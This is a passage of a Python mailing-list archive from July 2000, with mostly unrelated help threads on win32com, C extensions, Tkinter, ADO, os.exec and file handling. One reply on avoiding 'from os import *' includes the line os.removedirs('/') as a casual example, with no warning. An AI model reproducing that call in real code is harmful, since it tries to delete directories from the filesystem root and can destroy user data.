        => click on testdrive

    The evaluation version includes all IDE components, but only
    a subset of the documentation, and no redistributables.

    For  more info, see the PythonWorks site, or drop us a line
    at info at pythonware.com

enjoy,
the pythonworks team

    "Secret Labs -- makers of fine pythonware since 1997."




From jdub at nospam.net  Tue Jul 11 15:40:56 2000
From: jdub at nospam.net (someguy)
Date: Tue, 11 Jul 2000 15:40:56 -0400
Subject: win32com: How to use optional parameters?
References: <8ket8e$nj6$1@spectra.a2000.nl> <8kf3i4$1gu$1@spectra.a2000.nl>
Message-ID: <8kft89$rnd$1@news2.acs.oakland.edu>

Sir,

why not hold the places like this:

xl.Worksheets.Add(NULL,NULL,NULL,aftervaluehere)

just as if you weren't using the "parametername=varnam" syntax, even VB
would default to the order the function expects the calls.

Another sure way to find out would be to generate the MIDL for the excel VBA
you are coding, then you could do the same thing in C/C++ COM which would
most certainly require the correct order of parameters and not named
parameters in any order.

-Jay R. Wren



"Ilja Heitlager" <news at heitlager.com> wrote in message
news:8kf3i4$1gu$1 at spectra.a2000.nl...
> There was a small error in my example:
> >
> >    xl.Worksheets.Add After:=xl.Worksheets.Count
> >
>
> should be in VB:
>
>      xl.Worksheets.Add After:=xl.Worksheets(xl.Worksheets.Count)
>
> So in Python it becomes:
>
>     xl.Worksheets.Add(After=xl.Worksheets(xl.Worksheets.Count))
>
> Which PythonCom sees as the first argument (the Before), argh.
>
> PS I am using Pythoncom  Version 1.5.2, build 129
>
> Please guys help me out, I hate to do all my work in VB (if possible ;-)
>
> Ilja
>
>






From jhauser at ifm.uni-kiel.de  Mon Jul 31 16:12:47 2000
From: jhauser at ifm.uni-kiel.de (Janko Hauser)
Date: 31 Jul 2000 22:12:47 +0200
Subject: check file exists
References: <3985DDA3.E811F70A@ncsa.uiuc.edu>
Message-ID: <873dkqvz28.fsf@ifm.uni-kiel.de>

>>> import os
>>> os.path.isfile('opev.txt')
1

HTH,
__Janko

-- 
  Institut fuer Meereskunde             phone: 49-431-597 3989
  Dept. Theoretical Oceanography        fax  : 49-431-565876
  Duesternbrooker Weg 20                email: jhauser at ifm.uni-kiel.de
  24105 Kiel, Germany


From tidop at my-deja.com  Wed Jul  5 21:46:37 2000
From: tidop at my-deja.com (tidop at my-deja.com)
Date: Thu, 06 Jul 2000 01:46:37 GMT
Subject: setting a C-structure from Python
Message-ID: <8k0odu$m43$1@nnrp2.deja.com>

My aim is to write an extension module to access functions in C which "get"
and "set" some structures from/in shared memory.

In order to do this, I implemented the following programs:
*    structure.py
*    test_API.c

 It works well when I set the structure the first time, but not a second time
I have got the following (run-time) error... where is the bug ?


>>> import structure
The structure is now:
name Benoit
age 22
rate 3.141500


Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "structure.py", line 19, in ?
    test_API.setstruct(packed)
TypeError: argument 1: expected string,
                                         found




I am working with Python 1.5.2 on QNX 4.25 test_API.c  is therefore
statically linked with Python as dynamic linking is not possible on QNX.



file : structure.py
-----------------------------------------

import struct
import test_API

#1st  try
fmt="20sif"
a="Benoit"
b=22
c=3.1415
packed=struct.pack(fmt,a,b,c)
test_API.setstruct(packed)

#2nd try
a="Ben"
b=23
c=3.1417
packed=struct.pack(fmt,a,b,c)
test_API.setstruct(packed)


file: test_API.c
--------------------------------------
#include <stdio.h>
#include "Python.h"

typedef struct{
	char 	name[20];
	int 	age;
	float 	rate;
} examplestruct;


examplestruct * example;


static void 	print_struct()
{
	printf("The structure is now: \n");
	printf("name %s\n",example->name);
	printf("age %i\n",example->age);
	printf("rate %f\n", example->rate);
}


static PyObject * test_setstruct(PyObject * self, PyObject * args)
{
	PyObject * string_from_python;

	if (!PyArg_ParseTuple(args,"S",&string_from_python)) return NULL;

	example= (examplestruct *) PyString_AsString(string_from_python);
	Py_DECREF(string_from_python);
	print_struct();

	Py_INCREF(Py_None);
	return Py_None;
}


static PyObject * test_getstruct(PyObject * self, PyObject * args)
{
	/* if there are any arguments */
	if (!PyArg_NoArgs(args))
		return NULL;
	return PyString_FromString(example);
}


/*************************************************************
	METHOD REGISTRATION TABLE
	List of functions defined in the module
*************************************************************/
static struct PyMethodDef test_API_methods[] = {
	{"setstruct",	test_setstruct, 1},
	{"getstruct",	test_getstruct, 1},
	{NULL,		NULL}
};

/*************************************************************
	Initialization function
*************************************************************/
void inittest_API()
{
		PyObject *m, *d;

		/*create the module and add the functions */
		m= Py_InitModule("test_API", test_API_methods);

		/* add symbolic constants to the module */
		d= PyModule_GetDict(m);

		if (PyErr_Occurred())
			Py_FatalError("can't initialize module test_API\n");
}



Sent via Deja.com http://www.deja.com/
Before you buy.


From tgagne at ix.netcom.com  Mon Jul 31 12:51:04 2000
From: tgagne at ix.netcom.com (Thomas Gagne)
Date: Mon, 31 Jul 2000 12:51:04 -0400
Subject: ERROR: No module named _tkinter
Message-ID: <3985AE78.9E87E83D@ix.netcom.com>

tgagne:/home/tgagne/tmp/idle-0.5 ./idle.py
Traceback (innermost last):
  File "./idle.py", line 2, in ?
    import PyShell
  File "./PyShell.py", line 12, in ?
    from Tkinter import *
  File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 8, in ?
    import _tkinter # If this fails your Python may not be configured for Tk
ImportError: No module named _tkinter

What do you suppose the problem is?



From t.harris at robinsons.co.uk.bbs  Mon Jul 17 12:00:02 2000
From: t.harris at robinsons.co.uk.bbs (t.harris at robinsons.co.uk.bbs)
Date: 17 Jul 2000 16:00:02 GMT
Subject: Global & Importing issues.... Newbie
Message-ID: <3bRHO2$j08@openbazaar.net>

I have a simple requirement for a second module to access a global variable
stored in the first (main) module.

I can reproduce my problem with the following 2 modules...

Mod1.PY >>>
import Mod2

myGlobal = None

if __name__ == "__main__":

  myGlobal = 100

  Mod2.DoPrint()
#endif
#endmodule


Mod2.PY >>>
import Mod1

def DoPrint():
  print Mod1.myGlobal
#enddef
#endmodule

When executing Mod1.PY I expect the answer 100 to be printed out, I get None

I also get the same problem if there is a function in Mod1 which prints the
value of myGlobal and is called from Mod2 - I think this is the same
problem.

:o(

Any help from Python experts ?

TIA Toby


From moshez at math.huji.ac.il  Fri Jul 28 09:19:22 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 16:19:22 +0300 (IDT)
Subject: The State of Python
In-Reply-To: <39817536.FDBC508D@hursley.ibm.com>
Message-ID: <Pine.GSO.4.10.10007281618410.10036-100000@sundial>

On Fri, 28 Jul 2000, Paul Duffin wrote:

> What does GPL compatible mean ? 

It means that it can be relicenced as GPL.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From mksql at my-deja.com  Thu Jul  6 23:33:57 2000
From: mksql at my-deja.com (mksql at my-deja.com)
Date: Fri, 07 Jul 2000 03:33:57 GMT
Subject: Win32com curiousity #2: PythonWin code completion
References: <8k2q2c$fg2$1@nnrp1.deja.com> <vr795.3678$EV6.116137@typhoon1.ba-dsg.net>
Message-ID: <8k3j35$v4c$1@nnrp1.deja.com>

In article <vr795.3678$EV6.116137 at typhoon1.ba-dsg.net>,
  "Michel Orengo" <morganea at bellatlantic.net> wrote:
> When you run makepy, you actually create a file (see in
> python\win32com\gen_py) that defines the ADO classes and their
> methods/properties (that is true for any other COM classes you run
makepy
> on). The Dispatch is smart enough to get this file instead of a
dynamic
> loading. This is why you were able to see all methods/properties after
> running makepy.

Right, that part I already get.

> Also, because you use Fields, MoveNext and Open as methods on the 'rs'
> instance, PythonWin used them when constructing its class
browser...and
> therefore the list of attributes you find in the list for code
completion.

_After_ running makepy, saving the source, closing PythonWin, reopening
the source in PythonWin, the class browser initially is only aware of
the methods that are used in my source code. After a certain operation
(I think it happens after a save or run), then the class browser
display all available methods.

I am not sure if this is a PythonWin bug, or my installation or
configuration is damaged.


Sent via Deja.com http://www.deja.com/
Before you buy.


From danny at thrud.anatomy.usyd.edu.au  Sat Jul  8 23:03:03 2000
From: danny at thrud.anatomy.usyd.edu.au (Danny Yee)
Date: 9 Jul 2000 13:03:03 +1000
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au> <NhJ95.32962$HL2.534327@afrodite.telenet-ops.be>
Message-ID: <8k8q17$rov$1@thrud.anatomy.usyd.edu.au>

I asked:
>> I need to convert text with ISO Latin characters to HTML, e.g.
>> I want to map ? to &eacute; and so forth.

<ben at co.and.co> wrote:
>Just reverse the dictionnary, to be found in htmlentitydefs.

Where do I find this?

Danny.



From cut_me_out at hotmail.com.bbs  Sun Jul 16 10:50:04 2000
From: cut_me_out at hotmail.com.bbs (cut_me_out at hotmail.com.bbs)
Date: 16 Jul 2000 14:50:04 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bQQ8S$mLt@openbazaar.net>

Hi, Beat.

The python developers seem pretty indiscriminate about who they'll
consider patches from.  They have looked at a couple from me, for
instance. :)

You might want to read this page:

http://www.python.org/patches/

it tells you where to send patches.

Alex.


From ge at nowhere.none  Fri Jul 28 10:34:20 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 14:34:20 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <dp3dkulamd.fsf@mraz.iskon.hr>
Message-ID: <MRgg5.2644$6E.681949@ptah.visi.com>

In article <dp3dkulamd.fsf at mraz.iskon.hr>, Hrvoje Niksic wrote:

>For me, 1 and "1" are clearly not two numbers.  The former is a
>number, the latter a string consisting of the character "1".  Saying
>that they are numbers because we "see" they're numbers is like
>insisting one 1 + "one" to return 2 because "one" is so obviously a
>number.

And obviously 1 + "Grant's age" should evaluate to 30.  But it
doesn't.  Not even in English.  At least not since sometime in
the late 80's.

-- 
Grant Edwards                   grante             Yow!  Where does it go when
                                  at               you flush?
                               visi.com            


From jpowers at acm.org  Mon Jul 10 11:44:28 2000
From: jpowers at acm.org (John Powers)
Date: Mon, 10 Jul 2000 10:44:28 -0500
Subject: Why does tkinter app crash on quit?
Message-ID: <3969EF5C.EB7B14A4@acm.org>

I have a python program which crashes every once in a while when I press
the "Quit" button. I'm running tkinter 1.127 and tcl/tk 8.0.5 under
Windows 95 and Python 1.5.2. Most of the time, it quits just fine.

But sometimes, it crashes: "Python - This program has performed an
illegal operation and will be shut down. PYTHON caused an invalid page
fault in module SYNTPFCS.DLL at 0157:630067db.

from Tkinter import *

class App(Tk):

  def __init__(self):
    Tk.__init__(self)
    filename = "filename"
    Label(self, text=filename).pack()
    Button(self, text="Quit", command=self.quit).pack()

App().mainloop()

Anybody had experience with this?

Thanks, jpp
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000710/3168ed39/attachment.html>

From jmcbray at carcosa.net  Mon Jul  3 23:44:53 2000
From: jmcbray at carcosa.net (Jason F. McBrayer)
Date: 03 Jul 2000 23:44:53 -0400
Subject: Random number generation, simple question.
References: <Pine.GSO.4.21.0007031546410.25965-100000@luna.dsv.su.se> <8jqjf8$s1t$1@nnrp1.deja.com>
Message-ID: <m1hfa636fe.fsf@bertrand.carcosa.net>

>>>>> "j" == jhylton  <jhylton at my-deja.com> writes:

j> In article <Pine.GSO.4.21.0007031546410.25965-100000 at luna.dsv.su.se>,
j>   Kalle Svensson <kalle at gnupung.net> wrote:

>> I have a few questions about the (pseudo) random number generator
>> supplied in the standard library. I need 80 random bits (for a
>> CipherSaber IV) but I hear most RNG's only supply 32 bits or less.

j> The random number generator in the standard library is not at all
j> suitable for generating a cipher key.

He's not using it to generate a cipher key, just an initialization
vector that doesn't have to be too terribly random (its only purpose
is to let you reuse the same real key in different messages).  As I
understand it (and according to the Cypersabre pages), you don't need
anything better than the standard library's rng (though it's just as
easy, if not easier, to read 10 bytes from /dev/random).

-- 
+-----------------------------------------------------------+
| Jason F. McBrayer                    jmcbray at carcosa.net  |
| A flower falls, even though we love it; and a weed grows, |
| even though we do not love it.            -- Dogen        |


From cut_me_out at hotmail.com  Wed Jul 12 13:45:15 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 13:45:15 -0400
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <etditubtf84.fsf@w20-575-115.mit.edu>

> Is it legal (it seems to work) to change the class of an object by
> assigning to its __class__ attribute?

I guess if you can do it, it's legal.

On-the-run-from-the-python-coding-standards-police-myself'ly yr's
Alex.


From kpmurphy at my-deja.com  Tue Jul 25 10:37:59 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 25 Jul 2000 14:37:59 GMT
Subject: let my widgets use pack/grid/place
Message-ID: <8lk8o7$lm8$1@nnrp1.deja.com>

how do i let widgets i've created use pack/grid/place?

i.e.
...
mywidget('schweet')
mywidget.pack()
...

thanks,
-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Tue Jul 18 15:24:30 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 14:24:30 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu> <39739291.4155A128@prescod.net> <g1l8ns009uqt0502v3avkap6j6qjonsc9d@4ax.com>
Message-ID: <3974AEEE.D3F9D936@prescod.net>

John Lull wrote:
> 
> 
> By that reasoning, cryptography ought not be part of the standard
> distribution, either.  Nor should complex numbers.

We aren't talking about the standard distribution. We're talking about
the language syntax. If many matrix-people wanted matrices in the
standard library, it would probably be there. Cryptography required no
new syntax and complex numbers required very little. There is already
more syntax in the core language for matrices than for complex numbers.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From kpmurphy at my-deja.com  Mon Jul 10 17:14:07 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 10 Jul 2000 21:14:07 GMT
Subject: clipboard
References: <8kddiq$8oc$1@nnrp1.deja.com>
Message-ID: <8kdeae$9fv$1@nnrp1.deja.com>

In article <8kddiq$8oc$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> how do you read from / write to the system clipboard from Tkinter?
i'm
> on a unix machine, if that matters.  Thanks,
>
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>

i've found out that...

>>> root.clipboard_clear()
>>> root.clipboard_append('python rules!')


... places text on the system clipboard, but how do you paste?
thanks...

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com  Sat Jul 22 15:43:48 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 13:43:48 -0600
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8F7985804milenkomoonshinecouk@194.73.73.116>
Message-ID: <3979F974.A0EBC279@roguewave.com>

Jack wrote:
> 
> >5 gets you 7 that you have added a
> >
> >from os import *
> >
> >to your script.
> >
> >Don't do that.
> >
> 
> Thats exactly right, and is there any way i can access the os library then
> without everything going mad-whack.

Well, the point was that you were accessing the os library, in
particular the open function you are acessing is os.open which is
different from __builtin__.open which is probably what you wanted.

What you really want to do is:

  import os
  print os.getcwd()
  os.removedirs('/')
  f = open('foo.bar') # calls the global/__builtin__ open

etc.



From bdupire at seatech.fau.edu  Wed Jul 12 10:25:36 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Wed, 12 Jul 2000 10:25:36 -0400
Subject: what is a .pyo file?
References: <m3em5pyoqu.fsf@boss.ksu.edu> <Pine.GSO.4.20.0006231328370.29130-100000@luna.dsv.su.se>
Message-ID: <396C7FE0.35C06DD3@seatech.fau.edu>

Yes! .pyo files contain stripped of line numbers, assertions, and other debugging
information. Therefore they run slightly faster.

Benoit.


Kalle Svensson wrote:

> On 23 Jun 2000, Venkatesh Prasad Ranganath wrote:
>
> > what are the contents of .pyo file?  When is it generated?  What is it used for?
>
> It's optimized byte code, generated by importing a module or using
> py_compile.compile() in a python process run with the -O command line
> option. The advantages of the .pyo over the .pyc file is just that it's
> optimized and thus runs faster. I guess... :)
>
> HTH,
>   Kalle Svensson



From gee308 at mediaone.net  Tue Jul 18 01:18:50 2000
From: gee308 at mediaone.net (Toy)
Date: Tue, 18 Jul 2000 05:18:50 GMT
Subject: newb question
Message-ID: <3973EE1B.15B0B32E@mediaone.net>

what is a simple way I can save variables that people enter in from
'raw_input' ?  That way, someone enters the variables they want, then
when the script is booted up everytime the machine starts, it will grab
the variables from somewhere.  Thanks.
Jason Toy
toyboy at toy.eyep.net



From hei at adtranzsig.de  Thu Jul 27 07:43:57 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Thu, 27 Jul 2000 13:43:57 +0200
Subject: Tokenize.py for C++?
References: <8ljjj2$803$1@desig-bs01-s04.adtranzsig.de> <397FC2F2.1B377A86@see.my.signature>
Message-ID: <8lp7e8$glf$1@desig-bs01-s04.adtranzsig.de>

Thanks very much, i'll give it a try!

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Greg Ewing" <to_get_my_address at see.my.signature> schrieb im Newsbeitrag
news:397FC2F2.1B377A86 at see.my.signature...
> If you want to roll your own scanner, you might
> find my Plex module useful:
>
>    http://www.cosc.canterbury.ac.nz/~greg/python/Plex






From michael at stroeder.com  Mon Jul 24 03:07:32 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 24 Jul 2000 09:07:32 +0200
Subject: crypto modules in python
References: <397B8440.C1DD25C9@mindspringdot.com>
Message-ID: <397BEB34.C00A2C9E@stroeder.com>

anupam wrote:
> 
> can someone please point me to link(s) to python modules dealing with
> cryptography e.g ssleay or open ssl wrappers.

http://www.post1.com/home/ngps/m2/
(Could be easily found with DejaNews.)

Ciao, Michael.


From erik at pacific-shores.com  Tue Jul 18 15:59:17 2000
From: erik at pacific-shores.com (Erik Myllymaki)
Date: Tue, 18 Jul 2000 19:59:17 GMT
Subject: cgi to send PDF file to browser?
Message-ID: <pG2d5.31399$8u4.320467@news1.rdc1.bc.home.com>

Hello,

I am looking for some advice on how to send a PDF file to a client browser
from a cgi script. I could just show a listing of the directory where the
PDF files are located and have the client select the right one, but for
various reasons I would like to just ship it out transparently.

I have looked briefly at BaseHTTPServer, and I think this is where my answer
lies???

Thanks in advance.

--
Erik Myllymaki
erik at pacific-shores.com




From see at below  Mon Jul 31 10:01:05 2000
From: see at below (Paul Foley)
Date: 01 Aug 2000 02:01:05 +1200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com> <8luhsp51ce8@news2.newsguy.com> <slrn8o9s0a.sv.hzhu@localhost.localdomain> <8m3huk025kf@news1.newsguy.com>
Message-ID: <m2d7ju5rha.fsf@mycroft.actrix.gen.nz>

On Mon, 31 Jul 2000 11:43:14 +0200, Alex Martelli wrote:

>> >> FLAG = bitwise.or(FLAG1, FLAG2, FLAG3, FLAG4, FLAG5, FLAG6, FLAG7,
> FLAG8)
>> >
>> >What an EXCELLENT idea.  shift left/right could also be packaged that
>> >way (or, almost so; 'or' is a reserved words in Python...).

> And I like your solution of finessing this via names bitor, bitand, etc.
> This
> also makes it sensible to 'from bitwise import *' in a module that does
> heavy bitwise processing.

Yes, but how about renaming them logior()/logxor()/logand()/etc., and
ash() for "arithmetic shift"...

>> >The 'bitwise' module could supply easily explicit bitfield-extraction
>> >in place of the mask-and-shift idioms, too.

Define a byte(x, y) function to define an object representing an x-bit
byte offset y bits into an integer (using "byte" in the older sense,
not necessarily meaning 8 bits) and a pair of functions, ldb() to
"load byte"s from an integer, and dpb() to "deposit byte"s into an
integer

> to supply a C implementation of course (cBitfield perhaps?).  No way to
> take away | & << >> ~ until Python 3000, of course, but, yes, surely when
> 3000's time comes life will be easier if bitwise is the popular way to do
> things and the linenoise alternative an old/legacy/deprecated one:-).

And why not carry this process to its logical conclusion and
replace a+b with +(a, b), a*b with *(a, b), etc., too.  You can save
a little typing by dropping the commas and writing (+ a b), (* a b),
(logior a b), (ldb (byte 8 16) x), etc.   :-))

-- 
Greenspun's Tenth Rule of Programming: any sufficiently complicated C
or Fortran program contains an ad hoc, informally-specified, bug-ridden,
slow implementation of half of Common Lisp.

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From fiona at sitegnome.com  Sat Jul 15 10:42:21 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 15 Jul 2000 14:42:21 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 15th, 2000
Message-ID: <20000715144221.9296.qmail@synop.com>

Hello List,

Only a couple of entries into http://python.faqts.com today.

regards,

Fiona Czuczman

Including :

- Is there any way I can prevent pythonwin(scintilla) from reading the 
method names of a specific class
- Where can I find a DB-API connection to Sybase?
- How can I call an .exe file from inside a .py file?
- How can you check on the status of a file's "archive" bit, on DOS-type 
platforms


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there any way I can prevent pythonwin(scintilla) from reading the method names of a specific class
http://www.faqts.com/knowledge-base/view.phtml/aid/4734
-------------------------------------------------------------
Nils Otto Johansen



## New Entries #################################################


-------------------------------------------------------------
Where can I find a DB-API connection to Sybase?
http://www.faqts.com/knowledge-base/view.phtml/aid/4753
-------------------------------------------------------------
Fiona Czuczman
Paul Boddie

The 'ctsybasemodule' apparently resides at the following URL:

  http://starship.python.net/crew/pgodman/

Whilst 'ctsybasemodule' is rather nice, I found it insufficient for my 
purposes (no "bind variables" in SQL statements) and decided on mxODBC 
instead:

  http://starship.python.net/crew/lemburg/mxODBC.html

If you decide to pursue that option, I would suggest looking at my ODBC
resources page:

  http://www.crosswinds.net/~pboddie/Python/mxODBC.html

I managed to get mxODBC working with Adaptive Server Anywhere and 
Adaptive Server Enterprise, but with the recent announcement of zxJDBC 
you could use JPython and Sybase's jConnect software instead:

  http://www.ziclix.com/zxjdbc/
  http://www.jpython.org
  http://www.sybase.com/products/internet/jconnect/


-------------------------------------------------------------
How can I call an .exe file from inside a .py file?
http://www.faqts.com/knowledge-base/view.phtml/aid/4757
-------------------------------------------------------------
Fiona Czuczman
Alex Shindich, Gregoire Welraeds

Try this:

import os
os.execl ('foo.exe')

For more info read http://www.python.org/doc/current/lib/os-process.html

execl is kind of an alias for execv. So using this solution, be aware of 
the following:

execv (path, args) 
Execute the executable path with argument list args, replacing the
current process (i.e., the Python interpreter). The argument list may be 
a tuple or list of strings. Availability: Unix, Windows. 

This mean that if you have the following code in a file:

        import os
        os.execv("/bin/ls",("ls","/"))
        print "Done!" 

The last line will never be executed because the python process is 
replaced by the /bin/ls command. To avoid this, Unix allows you to use 
the fork system call :
        import os
        i= os.fork()
        if i != 0:
                os.waitpid(i,0) # wait for the child to complete.
                print done!
        else:   #  child process
                os.execv("/bin/ls",("ls","/"))
        
Another and easier solution, which also works under Windows :

        import os
        os.system("foo.exe")
        print 'Done!'


## Edited Entries ##############################################


-------------------------------------------------------------
How can you check on the status of a file's "archive" bit, on DOS-type platforms
http://www.faqts.com/knowledge-base/view.phtml/aid/4706
-------------------------------------------------------------
Barry Pederson, Fiona Czuczman
http://www.python.org/windows/win32all/,Alex Martelli

On Win32, with Hammond's extensions:

PythonWin 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on 
win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-1999 Mark Hammond (MHammond at skippinet.com.au)
>>> from win32file import GetFileAttributes
>>> GetFileAttributes("C:/witha.txt")
32
>>> GetFileAttributes("C:/withouta.txt")
128
>>>

where witha.txt does have the A attribute and withouta.txt lacks it.

You can also use symbolic names for the constants:

>>> import win32file
>>> win32file.FILE_ATTRIBUTE_ARCHIVE
32
>>> win32file.FILE_ATTRIBUTE_NORMAL
128
>>>

Note that the 'normal' bits seems to be set if and only if no other
bits are set.  Other attributes in the bitmask behave more normally,
i.e., they are bitwise-or'ed to give all attributes of the file.

For example, after making witha.txt read-only (still _with_ the A
attribute as well), we have:

>>> GetFileAttributes("C:/witha.txt")
33
>>> win32file.FILE_ATTRIBUTE_READONLY
1
>>>

I.e., the attributes of the file are the bitwise-or of archive and
readonly.  So, if you only want to test for archive, and don't care
about the others, you'll bitwise-and GetFileAttributes' result with
FILE_ATTRIBUTE_ARCHIVE, rather than testing for equality!






From aahz at netcom.com.bbs  Sun Jul 16 23:00:11 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 17 Jul 2000 03:00:11 GMT
Subject: Funding vs Python
Message-ID: <3bQj9B$mbp@openbazaar.net>

In article <8kt4rj$d4n$1 at nnrp1.deja.com>,
Andy Freeman  <anamax at earthlink.net> wrote:
>
>No good deed goes unpunished, so now I'm getting push back along the
>lines of "we can't get funded if it's in Python".  (Somehow, I don't
>think that using Perl would have produced the same reaction.)
>
>I've seen the list of web projects at python.org, so I'm wondering
>if there are others or if there really are examples of companies that
>didn't get funded because they used Python.

I don't know of any companies that didn't get funded due to use of
Python, but there are plenty of funded companies that *do* use Python.
(E.g., my company, http://www.searchbutton.com/)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From scorder at incigna.com  Wed Jul  5 15:22:59 2000
From: scorder at incigna.com (Sam Corder)
Date: Wed, 5 Jul 2000 15:22:59 -0400
Subject: Ado stored procs with parameters
Message-ID: <CPEKKMGLLILAJEKJNAPDAEEBCBAA.scorder@incigna.com>

I'm having a bit of trouble using a stored proc on MSSQL that takes
parameters.  I create a command object and then append the parameters to it.
Then I create a recordset object and use the open method passing the command
object and a few other parameters.  Unfortunately I get an error saying that
the stored proc requires The same parameter that I just added.  Below is the
code I'm using.  Any ideas?

Sam Corder

import win32com.client
constants = win32com.client.constants

class dbcon:
    def __init__ (self, connect = None):
        self.connectstr = connect
    def runSQLReturnRS(self, sql, params = None):
        if self.connectstr == None:
            return None
        else:
            rs = win32com.client.Dispatch('ADODB.Recordset')
            cmd = win32com.client.Dispatch('ADODB.Command')
            cmd.ActiveConnection = self.connectstr
            cmd.CommandText = sql
            if params != None:
                for parm in params:
                    cmd.Parameters.Append(cmd.CreateParameter(parm[0],
parm[1], constants.adParamInput, parm[2], parm[3]))

            rs.Open(cmd, CursorType = constants.adOpenForwardOnly, LockType
= constants.adLockReadOnly)
            return rs

    def __AddParams(self, cmd, params):
        for parm in params:
            cmd.Parameters.Append(cmd.CreateParameter(parm[0], parm[1],
constants.adParamInput, parm[2], parm[3]))

if __name__  == '__main__':
    db = dbcon("Provider=SQLOLEDB;Data Source=s-incigna2k;User
Id=msl_login;Password=***;Connect Timeout=5;network library=dbmssocn;Initial
Catalog=msl;")
    params = ("ExpJobID", constants.adInteger, 4, 11),
    rs = db.runSQLReturnRS("ExpConfig_Get", params)
    print rs.Fields.Count





From tim_one at email.msn.com  Sun Jul 23 21:43:43 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 23 Jul 2000 21:43:43 -0400
Subject: iterating over lines in a file
In-Reply-To: <slrn8nn5t5.qhg.cjc26@synecdoche.sowrong.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEIDGLAA.tim_one@email.msn.com>

[Cliff Crawford]
> No, what I meant was that I thought readlines() always reads the entire
> file, whether you specify a size argument or not, and so if you were
> worried about "for line in file.readlines():" eating too much memory,
> you could just do "for line in file.readlines(8192):" instead, and it
> would read the entire file using only an 8k buffer.  At least, that's
> what I thought the library reference was saying..but the source code
> proved me wrong :)

Ah.  It *is* normally used to read the entire file, but with another level
of loop:

    while 1:
        # read next batch of lines
        lines = file.readlines(8192)  # or larger for more speed
        if not lines:
            break
        for line in lines:
            process(line)

> I do agree, though, that the current behavior of readlines() is quite
> useful for it's >intended< purpose ;)

Well, the "hint" argument is there to let you turn yourself into a compiler
<wink>.





From scarblac-spamtrap at pino.selwerd.nl  Mon Jul 31 09:36:14 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 31 Jul 2000 13:36:14 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com>
Message-ID: <slrn8ob053.5nq.scarblac-spamtrap@flits104-37.flits.rug.nl>

Steve Lamb wrote in comp.lang.python:
> foo = 1
> foo = list(foo)
> 
>     Error.  Single element sequence.

1 is not a single element sequence, because it has no elements: 1[0] gives
